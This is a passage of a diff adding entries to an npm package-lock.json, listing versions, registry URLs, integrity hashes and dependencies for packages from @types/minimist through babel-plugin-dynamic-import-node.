"sha512-W864tg/Osz1+9f4lrGTZpCSO5/z4608eUp19tbozkq2HJK6i3z1kT0H9tlADXuYIb1YYOBByU4Jsqkk75q48qA==", + "dev": true, + "dependencies": { + "@types/unist": "*" + } + }, + "node_modules/@types/minimist": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/@types/minimist/-/minimist-1.2.2.tgz", + "integrity": "sha512-jhuKLIRrhvCPLqwPcx6INqmKeiA5EWrsCOPhrlFSrbrmU4ZMPjj5Ul/oLCMDO98XRUIwVm78xICz4EPCektzeQ==", + "dev": true + }, + "node_modules/@types/node": { + "version": "14.17.21", + "resolved": "https://registry.npmjs.org/@types/node/-/node-14.17.21.tgz", + "integrity": "sha512-zv8ukKci1mrILYiQOwGSV4FpkZhyxQtuFWGya2GujWg+zVAeRQ4qbaMmWp9vb9889CFA8JECH7lkwCL6Ygg8kA==" + }, + "node_modules/@types/normalize-package-data": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@types/normalize-package-data/-/normalize-package-data-2.4.1.tgz", + "integrity": "sha512-Gj7cI7z+98M282Tqmp2K5EIsoouUEzbBJhQQzDE3jSIRk6r9gsz0oUokqIUR4u1R3dMHo0pDHM7sNOHyhulypw==", + "dev": true + }, + "node_modules/@types/parse-json": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@types/parse-json/-/parse-json-4.0.0.tgz", + "integrity": "sha512-//oorEZjL6sbPcKUaCdIGlIUeH26mgzimjBB77G6XRgnDl/L5wOnpyBGRe/Mmf5CVW3PwEBE1NjiMZ/ssFh4wA==" + }, + "node_modules/@types/prop-types": { + "version": "15.7.4", + "resolved": "https://registry.npmjs.org/@types/prop-types/-/prop-types-15.7.4.tgz", + "integrity": "sha512-rZ5drC/jWjrArrS8BR6SIr4cWpW09RNTYt9AMZo3Jwwif+iacXAqgVjm0B0Bv/S1jhDXKHqRVNCbACkJ89RAnQ==" + }, + "node_modules/@types/react": { + "version": "16.14.16", + "resolved": "https://registry.npmjs.org/@types/react/-/react-16.14.16.tgz", + "integrity": "sha512-7waDQ0h1TkAk99S04wV0LUiiSXpT02lzrdDF4WZFqn2W0XE5ICXLBMtqXWZ688aX2dJislQ3knmZX/jH53RluQ==", + "dependencies": { + "@types/prop-types": "*", + "@types/scheduler": "*", + "csstype": "^3.0.2" + } + }, + "node_modules/@types/react-dom": { + "version": "16.9.14", + "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-16.9.14.tgz", + "integrity": "sha512-FIX2AVmPTGP30OUJ+0vadeIFJJ07Mh1m+U0rxfgyW34p3rTlXI+nlenvAxNn4BP36YyI9IJ/+UJ7Wu22N1pI7A==", + "dev": true, + "dependencies": { + "@types/react": "^16" + } + }, + "node_modules/@types/react-router": { + "version": "5.1.17", + "resolved": "https://registry.npmjs.org/@types/react-router/-/react-router-5.1.17.tgz", + "integrity": "sha512-RNSXOyb3VyRs/EOGmjBhhGKTbnN6fHWvy5FNLzWfOWOGjgVUKqJZXfpKzLmgoU8h6Hj8mpALj/mbXQASOb92wQ==", + "dependencies": { + "@types/history": "*", + "@types/react": "*" + } + }, + "node_modules/@types/react-router-dom": { + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/@types/react-router-dom/-/react-router-dom-5.3.1.tgz", + "integrity": "sha512-UvyRy73318QI83haXlaMwmklHHzV9hjl3u71MmM6wYNu0hOVk9NLTa0vGukf8zXUqnwz4O06ig876YSPpeK28A==", + "dependencies": { + "@types/history": "*", + "@types/react": "*", + "@types/react-router": "*" + } + }, + "node_modules/@types/react-table": { + "version": "6.8.7", + "resolved": "https://registry.npmjs.org/@types/react-table/-/react-table-6.8.7.tgz", + "integrity": "sha512-1U0xl47jk0BzE+HNHgxZYSLvtybSvnlLhOpW9Mfqf9iuRm/fGqgRab3TKivPCY6Tl7WPFM2hWEJ1GnsuSFc9AQ==", + "dependencies": { + "@types/react": "*" + } + }, + "node_modules/@types/react-transition-group": { + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/@types/react-transition-group/-/react-transition-group-4.4.3.tgz", + "integrity": "sha512-fUx5muOWSYP8Bw2BUQ9M9RK9+W1XBK/7FLJ8PTQpnpTEkn0ccyMffyEQvan4C3h53gHdx7KE5Qrxi/LnUGQtdg==", + "dependencies": { + "@types/react": "*" + } + }, + "node_modules/@types/react/node_modules/csstype": { + "version": "3.0.9", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.0.9.tgz", + "integrity": "sha512-rpw6JPxK6Rfg1zLOYCSwle2GFOOsnjmDYDaBwEcwoOg4qlsIVCN789VkBZDJAGi4T07gI4YSutR43t9Zz4Lzuw==" + }, + "node_modules/@types/retry": { + "version": "0.12.1", + "resolved": "https://registry.npmjs.org/@types/retry/-/retry-0.12.1.tgz", + "integrity": "sha512-xoDlM2S4ortawSWORYqsdU+2rxdh4LRW9ytc3zmT37RIKQh6IHyKwwtKhKis9ah8ol07DCkZxPt8BBvPjC6v4g==", + "dev": true + }, + "node_modules/@types/scheduler": { + "version": "0.16.2", + "resolved": "https://registry.npmjs.org/@types/scheduler/-/scheduler-0.16.2.tgz", + "integrity": "sha512-hppQEBDmlwhFAXKJX2KnWLYu5yMfi91yazPb2l+lbJiwW+wdo1gNeRA+3RgNSO39WYX2euey41KEwnqesU2Jew==" + }, + "node_modules/@types/unist": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-2.0.6.tgz", + "integrity": "sha512-PBjIUxZHOuj0R15/xuwJYjFi+KZdNFrehocChv4g5hu6aFroHue8m0lBP0POdK2nKzbw0cgV1mws8+V/JAcEkQ==", + "dev": true + }, + "node_modules/@types/warning": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@types/warning/-/warning-3.0.0.tgz", + "integrity": "sha1-DSUBJorY+ZYrdA04fEZU9fjiPlI=" + }, + "node_modules/@types/yargs": { + "version": "15.0.14", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-15.0.14.tgz", + "integrity": "sha512-yEJzHoxf6SyQGhBhIYGXQDSCkJjB6HohDShto7m8vaKg9Yp0Yn8+71J9eakh2bnPg6BfsH9PRMhiRTZnd4eXGQ==", + "dev": true, + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/@types/yargs-parser": { + "version": "20.2.1", + "resolved": "https://registry.npmjs.org/@types/yargs-parser/-/yargs-parser-20.2.1.tgz", + "integrity": "sha512-7tFImggNeNBVMsn0vLrpn1H1uPrUBdnARPTpZoitY37ZrdJREzf7I16tMrlK3hen349gr1NYh8CmZQa7CTG6Aw==", + "dev": true + }, + "node_modules/@webassemblyjs/ast": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.11.1.tgz", + "integrity": "sha512-ukBh14qFLjxTQNTXocdyksN5QdM28S1CxHt2rdskFyL+xFV7VremuBLVbmCePj+URalXBENx/9Lm7lnhihtCSw==", + "dependencies": { + "@webassemblyjs/helper-numbers": "1.11.1", + "@webassemblyjs/helper-wasm-bytecode": "1.11.1" + } + }, + "node_modules/@webassemblyjs/floating-point-hex-parser": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.11.1.tgz", + "integrity": "sha512-iGRfyc5Bq+NnNuX8b5hwBrRjzf0ocrJPI6GWFodBFzmFnyvrQ83SHKhmilCU/8Jv67i4GJZBMhEzltxzcNagtQ==" + }, + "node_modules/@webassemblyjs/helper-api-error": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.11.1.tgz", + "integrity": "sha512-RlhS8CBCXfRUR/cwo2ho9bkheSXG0+NwooXcc3PAILALf2QLdFyj7KGsKRbVc95hZnhnERon4kW/D3SZpp6Tcg==" + }, + "node_modules/@webassemblyjs/helper-buffer": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.11.1.tgz", + "integrity": "sha512-gwikF65aDNeeXa8JxXa2BAk+REjSyhrNC9ZwdT0f8jc4dQQeDQ7G4m0f2QCLPJiMTTO6wfDmRmj/pW0PsUvIcA==" + }, + "node_modules/@webassemblyjs/helper-numbers": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-numbers/-/helper-numbers-1.11.1.tgz", + "integrity": "sha512-vDkbxiB8zfnPdNK9Rajcey5C0w+QJugEglN0of+kmO8l7lDb77AnlKYQF7aarZuCrv+l0UvqL+68gSDr3k9LPQ==", + "dependencies": { + "@webassemblyjs/floating-point-hex-parser": "1.11.1", + "@webassemblyjs/helper-api-error": "1.11.1", + "@xtuc/long": "4.2.2" + } + }, + "node_modules/@webassemblyjs/helper-wasm-bytecode": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.11.1.tgz", + "integrity": "sha512-PvpoOGiJwXeTrSf/qfudJhwlvDQxFgelbMqtq52WWiXC6Xgg1IREdngmPN3bs4RoO83PnL/nFrxucXj1+BX62Q==" + }, + "node_modules/@webassemblyjs/helper-wasm-section": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.11.1.tgz", + "integrity": "sha512-10P9No29rYX1j7F3EVPX3JvGPQPae+AomuSTPiF9eBQeChHI6iqjMIwR9JmOJXwpnn/oVGDk7I5IlskuMwU/pg==", + "dependencies": { + "@webassemblyjs/ast": "1.11.1", + "@webassemblyjs/helper-buffer": "1.11.1", + "@webassemblyjs/helper-wasm-bytecode": "1.11.1", + "@webassemblyjs/wasm-gen": "1.11.1" + } + }, + "node_modules/@webassemblyjs/ieee754": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.11.1.tgz", + "integrity": "sha512-hJ87QIPtAMKbFq6CGTkZYJivEwZDbQUgYd3qKSadTNOhVY7p+gfP6Sr0lLRVTaG1JjFj+r3YchoqRYxNH3M0GQ==", + "dependencies": { + "@xtuc/ieee754": "^1.2.0" + } + }, + "node_modules/@webassemblyjs/leb128": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.11.1.tgz", + "integrity": "sha512-BJ2P0hNZ0u+Th1YZXJpzW6miwqQUGcIHT1G/sf72gLVD9DZ5AdYTqPNbHZh6K1M5VmKvFXwGSWZADz+qBWxeRw==", + "dependencies": { + "@xtuc/long": "4.2.2" + } + }, + "node_modules/@webassemblyjs/utf8": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.11.1.tgz", + "integrity": "sha512-9kqcxAEdMhiwQkHpkNiorZzqpGrodQQ2IGrHHxCy+Ozng0ofyMA0lTqiLkVs1uzTRejX+/O0EOT7KxqVPuXosQ==" + }, + "node_modules/@webassemblyjs/wasm-edit": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.11.1.tgz", + "integrity": "sha512-g+RsupUC1aTHfR8CDgnsVRVZFJqdkFHpsHMfJuWQzWU3tvnLC07UqHICfP+4XyL2tnr1amvl1Sdp06TnYCmVkA==", + "dependencies": { + "@webassemblyjs/ast": "1.11.1", + "@webassemblyjs/helper-buffer": "1.11.1", + "@webassemblyjs/helper-wasm-bytecode": "1.11.1", + "@webassemblyjs/helper-wasm-section": "1.11.1", + "@webassemblyjs/wasm-gen": "1.11.1", + "@webassemblyjs/wasm-opt": "1.11.1", + "@webassemblyjs/wasm-parser": "1.11.1", + "@webassemblyjs/wast-printer": "1.11.1" + } + }, + "node_modules/@webassemblyjs/wasm-gen": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.11.1.tgz", + "integrity": "sha512-F7QqKXwwNlMmsulj6+O7r4mmtAlCWfO/0HdgOxSklZfQcDu0TpLiD1mRt/zF25Bk59FIjEuGAIyn5ei4yMfLhA==", + "dependencies": { + "@webassemblyjs/ast": "1.11.1", + "@webassemblyjs/helper-wasm-bytecode": "1.11.1", + "@webassemblyjs/ieee754": "1.11.1", + "@webassemblyjs/leb128": "1.11.1", + "@webassemblyjs/utf8": "1.11.1" + } + }, + "node_modules/@webassemblyjs/wasm-opt": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.11.1.tgz", + "integrity": "sha512-VqnkNqnZlU5EB64pp1l7hdm3hmQw7Vgqa0KF/KCNO9sIpI6Fk6brDEiX+iCOYrvMuBWDws0NkTOxYEb85XQHHw==", + "dependencies": { + "@webassemblyjs/ast": "1.11.1", + "@webassemblyjs/helper-buffer": "1.11.1", + "@webassemblyjs/wasm-gen": "1.11.1", + "@webassemblyjs/wasm-parser": "1.11.1" + } + }, + "node_modules/@webassemblyjs/wasm-parser": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.11.1.tgz", + "integrity": "sha512-rrBujw+dJu32gYB7/Lup6UhdkPx9S9SnobZzRVL7VcBH9Bt9bCBLEuX/YXOOtBsOZ4NQrRykKhffRWHvigQvOA==", + "dependencies": { + "@webassemblyjs/ast": "1.11.1", + "@webassemblyjs/helper-api-error": "1.11.1", + "@webassemblyjs/helper-wasm-bytecode": "1.11.1", + "@webassemblyjs/ieee754": "1.11.1", + "@webassemblyjs/leb128": "1.11.1", + "@webassemblyjs/utf8": "1.11.1" + } + }, + "node_modules/@webassemblyjs/wast-printer": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.11.1.tgz", + "integrity": "sha512-IQboUWM4eKzWW+N/jij2sRatKMh99QEelo3Eb2q0qXkvPRISAj8Qxtmw5itwqK+TTkBuUIE45AxYPToqPtL5gg==", + "dependencies": { + "@webassemblyjs/ast": "1.11.1", + "@xtuc/long": "4.2.2" + } + }, + "node_modules/@webpack-cli/configtest": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@webpack-cli/configtest/-/configtest-1.1.0.tgz", + "integrity": "sha512-ttOkEkoalEHa7RaFYpM0ErK1xc4twg3Am9hfHhL7MVqlHebnkYd2wuI/ZqTDj0cVzZho6PdinY0phFZV3O0Mzg==", + "dev": true, + "peerDependencies": { + "webpack": "4.x.x || 5.x.x", + "webpack-cli": "4.x.x" + } + }, + "node_modules/@webpack-cli/info": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/@webpack-cli/info/-/info-1.4.0.tgz", + "integrity": "sha512-F6b+Man0rwE4n0409FyAJHStYA5OIZERxmnUfLVwv0mc0V1wLad3V7jqRlMkgKBeAq07jUvglacNaa6g9lOpuw==", + "dev": true, + "dependencies": { + "envinfo": "^7.7.3" + }, + "peerDependencies": { + "webpack-cli": "4.x.x" + } + }, + "node_modules/@webpack-cli/serve": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/@webpack-cli/serve/-/serve-1.6.0.tgz", + "integrity": "sha512-ZkVeqEmRpBV2GHvjjUZqEai2PpUbuq8Bqd//vEYsp63J8WyexI8ppCqVS3Zs0QADf6aWuPdU+0XsPI647PVlQA==", + "dev": true, + "peerDependencies": { + "webpack-cli": "4.x.x" + }, + "peerDependenciesMeta": { + "webpack-dev-server": { + "optional": true + } + } + }, + "node_modules/@xtuc/ieee754": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@xtuc/ieee754/-/ieee754-1.2.0.tgz", + "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==" + }, + "node_modules/@xtuc/long": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/@xtuc/long/-/long-4.2.2.tgz", + "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==" + }, + "node_modules/abab": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/abab/-/abab-2.0.5.tgz", + "integrity": "sha512-9IK9EadsbHo6jLWIpxpR6pL0sazTXV6+SQv25ZB+F7Bj9mJNaOc4nCRabwd5M/JwmUa8idz6Eci6eKfJryPs6Q==" + }, + "node_modules/accepts": { + "version": "1.3.7", + "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.7.tgz", + "integrity": "sha512-Il80Qs2WjYlJIBNzNkK6KYqlVMTbZLXgHx2oT0pU/fjRHyEp+PEfEPY0R3WCwAGVOtauxh1hOxNgIf5bv7dQpA==", + "dev": true, + "dependencies": { + "mime-types": "~2.1.24", + "negotiator": "0.6.2" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/acorn": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-7.2.0.tgz", + "integrity": "sha512-apwXVmYVpQ34m/i71vrApRrRKCWQnZZF1+npOD0WV5xZFfwWOmKGQ2RWlfdy9vWITsenisM8M0Qeq8agcFHNiQ==", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-import-assertions": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/acorn-import-assertions/-/acorn-import-assertions-1.8.0.tgz", + "integrity": "sha512-m7VZ3jwz4eK6A4Vtt8Ew1/mNbP24u0FhdyfA7fSvnJR6LMdfOYnmuIrrJAgrYfYJ10F/otaHTtrtrtmHdMNzEw==", + "peerDependencies": { + "acorn": "^8" + } + }, + "node_modules/acorn-jsx": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.2.0.tgz", + "integrity": "sha512-HiUX/+K2YpkpJ+SzBffkM/AQ2YE03S0U1kjTLVpoJdhZMOWy8qvXVN9JdLqv2QsaQ6MPYQIuNmwD8zOiYUofLQ==", + "dev": true, + "peerDependencies": { + "acorn": "^6.0.0 || ^7.0.0" + } + }, + "node_modules/aggregate-error": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz", + "integrity": "sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==", + "dev": true, + "dependencies": { + "clean-stack": "^2.0.0", + "indent-string": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/ajv": { + "version": "6.12.2", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.2.tgz", + "integrity": "sha512-k+V+hzjm5q/Mr8ef/1Y9goCmlsK4I6Sm74teeyGvFk1XrOsbsKLjEdrvny42CZ+a8sXbk8KWpY/bDwS+FLL2UQ==", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + } + }, + "node_modules/ajv-errors": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/ajv-errors/-/ajv-errors-1.0.1.tgz", + "integrity": "sha512-DCRfO/4nQ+89p/RK43i8Ezd41EqdGIU4ld7nGF8OQ14oc/we5rEntLCUa7+jrn3nn83BosfwZA0wb4pon2o8iQ==", + "dev": true, + "peerDependencies": { + "ajv": ">=5.0.0" + } + }, + "node_modules/ajv-keywords": { + "version": "3.4.1", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.4.1.tgz", + "integrity": "sha512-RO1ibKvd27e6FEShVFfPALuHI3WjSVNeK5FIsmme/LYRNxjKuNj+Dt7bucLa6NdSv3JcVTyMlm9kGR84z1XpaQ==", + "dev": true, + "peerDependencies": { + "ajv": "^6.9.1" + } + }, + "node_modules/ansi-escapes": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.1.tgz", + "integrity": "sha512-JWF7ocqNrp8u9oqpgV+wH5ftbt+cfvv+PTjOvKLT3AdYly/LmORARfEVT1iyjwN+4MqE5UmVKoAdIBqeoCHgLA==", + "dev": true, + "dependencies": { + "type-fest": "^0.11.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ansi-escapes/node_modules/type-fest": { + "version": "0.11.0", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.11.0.tgz", + "integrity": "sha512-OdjXJxnCN1AvyLSzeKIgXTXxV+99ZuXl3Hpo9XpJAv9MBcHrrJOQ5kV7ypXOuQie+AmWG25hLbiKdwYTifzcfQ==", + "dev": true, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ansi-html-community": { + "version": "0.0.8", + "resolved": "https://registry.npmjs.org/ansi-html-community/-/ansi-html-community-0.0.8.tgz", + "integrity": "sha512-1APHAyr3+PCamwNw3bXCPp4HFLONZt/yIH0sZp0/469KWNTEy+qN5jQ3GVX6DMZ1UXAi34yVwtTeaG/HpBuuzw==", + "dev": true, + "engines": [ + "node >= 0.8.0" + ], + "bin": { + "ansi-html": "bin/ansi-html" + } + }, + "node_modules/ansi-regex": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz", + "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/anymatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.2.tgz", + "integrity": "sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg==", + "dev": true, + "dependencies": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "dev": true, + "dependencies": { + "sprintf-js": "~1.0.2" + } + }, + "node_modules/array-flatten": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-2.1.2.tgz", + "integrity": "sha512-hNfzcOV8W4NdualtqBFPyVO+54DSJuZGY9qT4pRroB6S9e3iiido2ISIC5h9R2sPJ8H3FHCIiEnsv1lPXO3KtQ==", + "dev": true + }, + "node_modules/array-includes": { + "version": "3.1.4", + "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.4.tgz", + "integrity": "sha512-ZTNSQkmWumEbiHO2GF4GmWxYVTiQyJy2XOTa15sdQSrvKn7l+180egQMqlrMOUMCyLMD7pmyQe4mMDUT6Behrw==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3", + "es-abstract": "^1.19.1", + "get-intrinsic": "^1.1.1", + "is-string": "^1.0.7" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array-union": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz", + "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/array.prototype.flatmap": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/array.prototype.flatmap/-/array.prototype.flatmap-1.2.5.tgz", + "integrity": "sha512-08u6rVyi1Lj7oqWbS9nUxliETrtIROT4XGTA4D/LWGten6E3ocm7cy9SIrmNHOL5XVbVuckUp3X6Xyg8/zpvHA==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.0", + "define-properties": "^1.1.3", + "es-abstract": "^1.19.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/arrify": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/arrify/-/arrify-1.0.1.tgz", + "integrity": "sha1-iYUI2iIm84DfkEcoRWhJwVAaSw0=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/asap": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/asap/-/asap-2.0.6.tgz", + "integrity": "sha1-5QNHYR1+aQlDIIu9r+vLwvuGbUY=" + }, + "node_modules/ast-types": { + "version": "0.9.6", + "resolved": "https://registry.npmjs.org/ast-types/-/ast-types-0.9.6.tgz", + "integrity": "sha1-ECyenpAF0+fjgpvwxPok7oYu6bk=", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/astral-regex": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/astral-regex/-/astral-regex-1.0.0.tgz", + "integrity": "sha512-+Ryf6g3BKoRc7jfp7ad8tM4TtMiaWvbF/1/sQcZPkkS7ag3D5nMBCe2UfOTONtAkaG0tO0ij3C5Lwmf1EiyjHg==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/async": { + "version": "2.6.3", + "resolved": "https://registry.npmjs.org/async/-/async-2.6.3.tgz", + "integrity": "sha512-zflvls11DCy+dQWzTW2dzuilv8Z5X/pjfmZOWba6TNIVDm+2UDaJmXSOXlasHKfNBs8oo3M0aT50fDEWfKZjXg==", + "dev": true, + "dependencies": { + "lodash": "^4.17.14" + } + }, + "node_modules/autoprefixer": { + "version": "9.8.8", + "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-9.8.8.tgz", + "integrity": "sha512-eM9d/swFopRt5gdJ7jrpCwgvEMIayITpojhkkSMRsFHYuH5bkSQ4p/9qTEHtmNudUZh22Tehu7I6CxAW0IXTKA==", + "dev": true, + "dependencies": { + "browserslist": "^4.12.0", + "caniuse-lite": "^1.0.30001109", + "normalize-range": "^0.1.2", + "num2fraction": "^1.2.2", + "picocolors": "^0.2.1", + "postcss": "^7.0.32", + "postcss-value-parser": "^4.1.0" + }, + "bin": { + "autoprefixer": "bin/autoprefixer" + }, + "funding": { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/autoprefixer" + } + }, + "node_modules/babel-eslint": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/babel-eslint/-/babel-eslint-10.1.0.tgz", + "integrity": "sha512-ifWaTHQ0ce+448CYop8AdrQiBsGrnC+bMgfyKFdi6EsPLTAWG+QfyDeM6OH+FmWnKvEq5NnBMLvlBUPKQZoDSg==", + "deprecated": "babel-eslint is now @babel/eslint-parser. This package will no longer receive updates.", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.0.0", + "@babel/parser": "^7.7.0", + "@babel/traverse": "^7.7.0", + "@babel/types": "^7.7.0", + "eslint-visitor-keys": "^1.0.0", + "resolve": "^1.12.0" + }, + "engines": { + "node": ">=6" + }, + "peerDependencies": { + "eslint": ">= 4.12.1" + } + }, + "node_modules/babel-loader": { + "version": "8.2.2", + "resolved": "https://registry.npmjs.org/babel-loader/-/babel-loader-8.2.2.tgz", + "integrity": "sha512-JvTd0/D889PQBtUXJ2PXaKU/pjZDMtHA9V2ecm+eNRmmBCMR09a+fmpGTNwnJtFmFl5Ei7Vy47LjBb+L0wQ99g==", + "dev": true, + "dependencies": { + "find-cache-dir": "^3.3.1", + "loader-utils": "^1.4.0", + "make-dir": "^3.1.0", + "schema-utils": "^2.6.5" + }, + "engines": { + "node": ">= 8.9" + }, + "peerDependencies": { + "@babel/core": "^7.0.0", + "webpack": ">=2" + } + }, + "node_modules/babel-loader/node_modules/make-dir": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz", + "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", + "dev": true, + "dependencies": { + "semver": "^6.0.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/babel-loader/node_modules/semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/babel-plugin-dynamic-import-node": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/babel-plugin-dynamic-import-node/-/babel-plugin-dynamic-import-node-2.3.3.tgz", + "integrity": "sha512-jZVI+s9Zg3IqA/kdi0i6UDCybUI3aSBLnglhYbSSjKlV7yF1F/5LWv8MakQmvYpnbJDS6fcBL2KzHSxNCMtWSQ==", + "dev": true, + "dependencies": { + "object.assign": "^4.1.0" + } + }, + 